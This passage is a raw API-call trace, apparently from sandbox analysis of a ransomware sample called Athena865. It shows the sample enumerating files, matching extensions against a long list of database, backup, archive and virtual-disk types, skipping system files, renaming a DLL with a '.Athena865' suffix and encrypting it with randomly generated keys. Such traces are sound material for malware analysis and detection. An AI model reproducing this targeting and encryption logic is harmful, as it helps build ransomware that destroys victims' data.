3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0047.752] lstrlenW (lpString="eco") returned 3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0047.752] lstrlenW (lpString="ecx") returned 3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0047.752] lstrlenW (lpString="edb") returned 3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0047.752] lstrlenW (lpString="epim") returned 4 [0047.752] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0047.752] lstrlenW (lpString="fcd") returned 3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0047.752] lstrlenW (lpString="fdb") returned 3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0047.752] lstrlenW (lpString="fic") returned 3 [0047.752] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0047.752] lstrlenW (lpString="flexolibrary") returned 12 [0047.752] lstrcmpiW (lpString1="ngEngine.dll", lpString2="flexolibrary") returned 1 [0047.752] lstrlenW (lpString="fm5") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0047.753] lstrlenW (lpString="fmp") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0047.753] lstrlenW (lpString="fmp12") returned 5 [0047.753] lstrcmpiW (lpString1="e.dll", lpString2="fmp12") returned -1 [0047.753] lstrlenW (lpString="fmpsl") returned 5 [0047.753] lstrcmpiW (lpString1="e.dll", lpString2="fmpsl") returned -1 [0047.753] lstrlenW (lpString="fol") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0047.753] lstrlenW (lpString="fp3") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0047.753] lstrlenW (lpString="fp4") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0047.753] lstrlenW (lpString="fp5") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0047.753] lstrlenW (lpString="fp7") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0047.753] lstrlenW (lpString="fpt") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0047.753] lstrlenW (lpString="frm") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0047.753] lstrlenW (lpString="gdb") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0047.753] lstrlenW (lpString="gdb") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0047.753] lstrlenW (lpString="grdb") returned 4 [0047.753] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0047.753] lstrlenW (lpString="gwi") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0047.753] lstrlenW (lpString="hdb") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0047.753] lstrlenW (lpString="his") returned 3 [0047.753] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0047.753] lstrlenW (lpString="ib") returned 2 [0047.753] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0047.753] lstrlenW (lpString="idb") returned 3 [0047.754] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0047.754] lstrlenW (lpString="ihx") returned 3 [0047.754] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0047.754] lstrlenW (lpString="itdb") returned 4 [0047.754] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0047.754] lstrlenW (lpString="itw") returned 3 [0047.754] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0047.754] lstrlenW (lpString="jet") returned 3 [0047.754] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0047.754] lstrlenW (lpString="jtx") returned 3 [0047.754] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0047.754] lstrlenW (lpString="kdb") returned 3 [0047.754] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0047.754] lstrlenW (lpString="kexi") returned 4 [0047.754] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0047.754] lstrlenW (lpString="kexic") returned 5 [0047.754] lstrcmpiW (lpString1="e.dll", lpString2="kexic") returned -1 [0047.754] lstrlenW (lpString="kexis") returned 5 [0047.754] lstrcmpiW (lpString1="e.dll", lpString2="kexis") returned -1 [0047.754] lstrlenW (lpString="lgc") returned 3 [0047.754] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0047.754] lstrlenW (lpString="lwx") returned 3 [0047.754] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0047.754] lstrlenW (lpString="maf") returned 3 [0047.754] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0047.754] lstrlenW (lpString="maq") returned 3 [0047.754] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0047.754] lstrlenW (lpString="mar") returned 3 [0047.754] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0047.754] lstrlenW (lpString="marshal") returned 7 [0047.754] lstrcmpiW (lpString1="ine.dll", lpString2="marshal") returned -1 [0047.754] lstrlenW (lpString="mas") returned 3 [0047.754] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0047.754] lstrlenW (lpString="mav") returned 3 [0047.754] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0047.754] lstrlenW (lpString="maw") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0047.755] lstrlenW (lpString="mdbhtml") returned 7 [0047.755] lstrcmpiW (lpString1="ine.dll", lpString2="mdbhtml") returned -1 [0047.755] lstrlenW (lpString="mdn") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0047.755] lstrlenW (lpString="mdt") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0047.755] lstrlenW (lpString="mfd") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0047.755] lstrlenW (lpString="mpd") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0047.755] lstrlenW (lpString="mrg") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0047.755] lstrlenW (lpString="mud") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0047.755] lstrlenW (lpString="mwb") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0047.755] lstrlenW (lpString="myd") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0047.755] lstrlenW (lpString="ndf") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0047.755] lstrlenW (lpString="nnt") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0047.755] lstrlenW (lpString="nrmlib") returned 6 [0047.755] lstrcmpiW (lpString1="ne.dll", lpString2="nrmlib") returned -1 [0047.755] lstrlenW (lpString="ns2") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0047.755] lstrlenW (lpString="ns3") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0047.755] lstrlenW (lpString="ns4") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0047.755] lstrlenW (lpString="nsf") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0047.755] lstrlenW (lpString="nv") returned 2 [0047.755] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0047.755] lstrlenW (lpString="nv2") returned 3 [0047.755] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0047.756] lstrlenW (lpString="nwdb") returned 4 [0047.756] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0047.756] lstrlenW (lpString="nyf") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0047.756] lstrlenW (lpString="odb") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0047.756] lstrlenW (lpString="odb") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0047.756] lstrlenW (lpString="oqy") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0047.756] lstrlenW (lpString="ora") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0047.756] lstrlenW (lpString="orx") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0047.756] lstrlenW (lpString="owc") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0047.756] lstrlenW (lpString="p96") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0047.756] lstrlenW (lpString="p97") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0047.756] lstrlenW (lpString="pan") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0047.756] lstrlenW (lpString="pdb") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0047.756] lstrlenW (lpString="pdm") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0047.756] lstrlenW (lpString="pnz") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0047.756] lstrlenW (lpString="qry") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0047.756] lstrlenW (lpString="qvd") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0047.756] lstrlenW (lpString="rbf") returned 3 [0047.756] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0047.756] lstrlenW (lpString="rctd") returned 4 [0047.756] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0047.756] lstrlenW (lpString="rod") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0047.757] lstrlenW (lpString="rodx") returned 4 [0047.757] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0047.757] lstrlenW (lpString="rpd") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0047.757] lstrlenW (lpString="rsd") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0047.757] lstrlenW (lpString="sas7bdat") returned 8 [0047.757] lstrcmpiW (lpString1="gine.dll", lpString2="sas7bdat") returned -1 [0047.757] lstrlenW (lpString="sbf") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0047.757] lstrlenW (lpString="scx") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0047.757] lstrlenW (lpString="sdb") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0047.757] lstrlenW (lpString="sdc") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0047.757] lstrlenW (lpString="sdf") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0047.757] lstrlenW (lpString="sis") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0047.757] lstrlenW (lpString="spq") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0047.757] lstrlenW (lpString="te") returned 2 [0047.757] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0047.757] lstrlenW (lpString="teacher") returned 7 [0047.757] lstrcmpiW (lpString1="ine.dll", lpString2="teacher") returned -1 [0047.757] lstrlenW (lpString="tmd") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0047.757] lstrlenW (lpString="tps") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0047.757] lstrlenW (lpString="trc") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0047.757] lstrlenW (lpString="trc") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0047.757] lstrlenW (lpString="trm") returned 3 [0047.757] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0047.758] lstrlenW (lpString="udb") returned 3 [0047.758] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0047.758] lstrlenW (lpString="udl") returned 3 [0047.758] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0047.758] lstrlenW (lpString="usr") returned 3 [0047.758] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0047.758] lstrlenW (lpString="v12") returned 3 [0047.758] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0047.758] lstrlenW (lpString="vis") returned 3 [0047.758] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0047.758] lstrlenW (lpString="vpd") returned 3 [0047.758] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0047.758] lstrlenW (lpString="vvv") returned 3 [0047.758] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0047.758] lstrlenW (lpString="wdb") returned 3 [0047.758] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0047.758] lstrlenW (lpString="wmdb") returned 4 [0047.758] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0047.758] lstrlenW (lpString="wrk") returned 3 [0047.758] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0047.758] lstrlenW (lpString="xdb") returned 3 [0047.758] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0047.758] lstrlenW (lpString="xld") returned 3 [0047.758] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0047.758] lstrlenW (lpString="xmlff") returned 5 [0047.758] lstrcmpiW (lpString1="e.dll", lpString2="xmlff") returned -1 [0047.758] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll.Athena865") returned 71 [0047.758] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingengine.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingengine.dll.athena865"), dwFlags=0x1) returned 1 [0047.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingengine.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0047.762] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1853440) returned 1 [0047.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.763] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.764] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.764] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.764] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c4b00, lpName=0x0) returned 0x154 [0047.765] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c4b00) returned 0x2d50000 [0047.880] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.881] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.881] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x523fa0 [0047.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x523fa0 | out: hHeap=0x4f0000) returned 1 [0047.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.882] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0047.898] CloseHandle (hObject=0x154) returned 1 [0047.898] CloseHandle (hObject=0x17c) returned 1 [0047.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.906] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6710567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6710567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67366c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".") returned 1 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="..") returned 1 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="windows") returned -1 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="bootmgr") returned 1 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="temp") returned -1 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="pagefile.sys") returned 1 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="boot") returned 1 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="ids.txt") returned 1 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="ntuser.dat") returned 1 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="perflogs") returned 1 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="MSBuild") returned 1 [0047.906] lstrlenW (lpString="PhotoAcq.dll") returned 12 [0047.906] lstrcpyW (in: lpString1=0x241e8a0, lpString2="PhotoAcq.dll" | out: lpString1="PhotoAcq.dll") returned="PhotoAcq.dll" [0047.906] lstrlenW (lpString="PhotoAcq.dll") returned 12 [0047.906] lstrlenW (lpString="Athena865") returned 9 [0047.906] lstrcmpiW (lpString1="toAcq.dll", lpString2="Athena865") returned 1 [0047.906] lstrlenW (lpString=".dll") returned 4 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".dll") returned 1 [0047.906] lstrlenW (lpString=".lnk") returned 4 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".lnk") returned 1 [0047.906] lstrlenW (lpString=".ini") returned 4 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".ini") returned 1 [0047.906] lstrlenW (lpString=".sys") returned 4 [0047.906] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".sys") returned 1 [0047.906] lstrlenW (lpString="PhotoAcq.dll") returned 12 [0047.906] lstrlenW (lpString="bak") returned 3 [0047.906] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0047.907] lstrlenW (lpString="ba_") returned 3 [0047.907] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0047.907] lstrlenW (lpString="dbb") returned 3 [0047.907] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0047.907] lstrlenW (lpString="vmdk") returned 4 [0047.907] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0047.907] lstrlenW (lpString="rar") returned 3 [0047.907] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0047.907] lstrlenW (lpString="zip") returned 3 [0047.907] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0047.907] lstrlenW (lpString="tgz") returned 3 [0047.907] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0047.907] lstrlenW (lpString="vbox") returned 4 [0047.907] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0047.907] lstrlenW (lpString="vdi") returned 3 [0047.907] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0047.907] lstrlenW (lpString="vhd") returned 3 [0047.907] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0047.907] lstrlenW (lpString="vhdx") returned 4 [0047.907] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0047.907] lstrlenW (lpString="avhd") returned 4 [0047.907] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0047.907] lstrlenW (lpString="db") returned 2 [0047.907] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0047.907] lstrlenW (lpString="db2") returned 3 [0047.907] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0047.907] lstrlenW (lpString="db3") returned 3 [0047.907] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0047.907] lstrlenW (lpString="dbf") returned 3 [0047.907] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0047.907] lstrlenW (lpString="mdf") returned 3 [0047.907] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0047.907] lstrlenW (lpString="mdb") returned 3 [0047.907] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0047.907] lstrlenW (lpString="sql") returned 3 [0047.908] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0047.908] lstrlenW (lpString="sqlite") returned 6 [0047.908] lstrcmpiW (lpString1="cq.dll", lpString2="sqlite") returned -1 [0047.908] lstrlenW (lpString="sqlite3") returned 7 [0047.908] lstrcmpiW (lpString1="Acq.dll", lpString2="sqlite3") returned -1 [0047.908] lstrlenW (lpString="sqlitedb") returned 8 [0047.908] lstrcmpiW (lpString1="oAcq.dll", lpString2="sqlitedb") returned -1 [0047.908] lstrlenW (lpString="xml") returned 3 [0047.908] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0047.908] lstrlenW (lpString="$er") returned 3 [0047.908] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0047.908] lstrlenW (lpString="4dd") returned 3 [0047.908] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0047.908] lstrlenW (lpString="4dl") returned 3 [0047.908] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0047.908] lstrlenW (lpString="^^^") returned 3 [0047.908] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0047.908] lstrlenW (lpString="abs") returned 3 [0047.908] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0047.908] lstrlenW (lpString="abx") returned 3 [0047.908] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0047.908] lstrlenW (lpString="accdb") returned 5 [0047.908] lstrcmpiW (lpString1="q.dll", lpString2="accdb") returned 1 [0047.908] lstrlenW (lpString="accdc") returned 5 [0047.908] lstrcmpiW (lpString1="q.dll", lpString2="accdc") returned 1 [0047.908] lstrlenW (lpString="accde") returned 5 [0047.908] lstrcmpiW (lpString1="q.dll", lpString2="accde") returned 1 [0047.908] lstrlenW (lpString="accdr") returned 5 [0047.908] lstrcmpiW (lpString1="q.dll", lpString2="accdr") returned 1 [0047.908] lstrlenW (lpString="accdt") returned 5 [0047.908] lstrcmpiW (lpString1="q.dll", lpString2="accdt") returned 1 [0047.908] lstrlenW (lpString="accdw") returned 5 [0047.908] lstrcmpiW (lpString1="q.dll", lpString2="accdw") returned 1 [0047.908] lstrlenW (lpString="accft") returned 5 [0047.908] lstrcmpiW (lpString1="q.dll", lpString2="accft") returned 1 [0047.908] lstrlenW (lpString="adb") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0047.909] lstrlenW (lpString="adb") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0047.909] lstrlenW (lpString="ade") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0047.909] lstrlenW (lpString="adf") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0047.909] lstrlenW (lpString="adn") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0047.909] lstrlenW (lpString="adp") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0047.909] lstrlenW (lpString="alf") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0047.909] lstrlenW (lpString="ask") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0047.909] lstrlenW (lpString="btr") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0047.909] lstrlenW (lpString="cat") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0047.909] lstrlenW (lpString="cdb") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0047.909] lstrlenW (lpString="ckp") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0047.909] lstrlenW (lpString="cma") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0047.909] lstrlenW (lpString="cpd") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0047.909] lstrlenW (lpString="dacpac") returned 6 [0047.909] lstrcmpiW (lpString1="cq.dll", lpString2="dacpac") returned -1 [0047.909] lstrlenW (lpString="dad") returned 3 [0047.909] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0047.913] lstrlenW (lpString="dadiagrams") returned 10 [0047.913] lstrcmpiW (lpString1="otoAcq.dll", lpString2="dadiagrams") returned 1 [0047.913] lstrlenW (lpString="daschema") returned 8 [0047.913] lstrcmpiW (lpString1="oAcq.dll", lpString2="daschema") returned 1 [0047.913] lstrlenW (lpString="db-journal") returned 10 [0047.913] lstrcmpiW (lpString1="otoAcq.dll", lpString2="db-journal") returned 1 [0047.913] lstrlenW (lpString="db-shm") returned 6 [0047.913] lstrcmpiW (lpString1="cq.dll", lpString2="db-shm") returned -1 [0047.913] lstrlenW (lpString="db-wal") returned 6 [0047.913] lstrcmpiW (lpString1="cq.dll", lpString2="db-wal") returned -1 [0047.913] lstrlenW (lpString="dbc") returned 3 [0047.913] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0047.913] lstrlenW (lpString="dbs") returned 3 [0047.913] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0047.914] lstrlenW (lpString="dbt") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0047.914] lstrlenW (lpString="dbv") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0047.914] lstrlenW (lpString="dbx") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0047.914] lstrlenW (lpString="dcb") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0047.914] lstrlenW (lpString="dct") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0047.914] lstrlenW (lpString="dcx") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 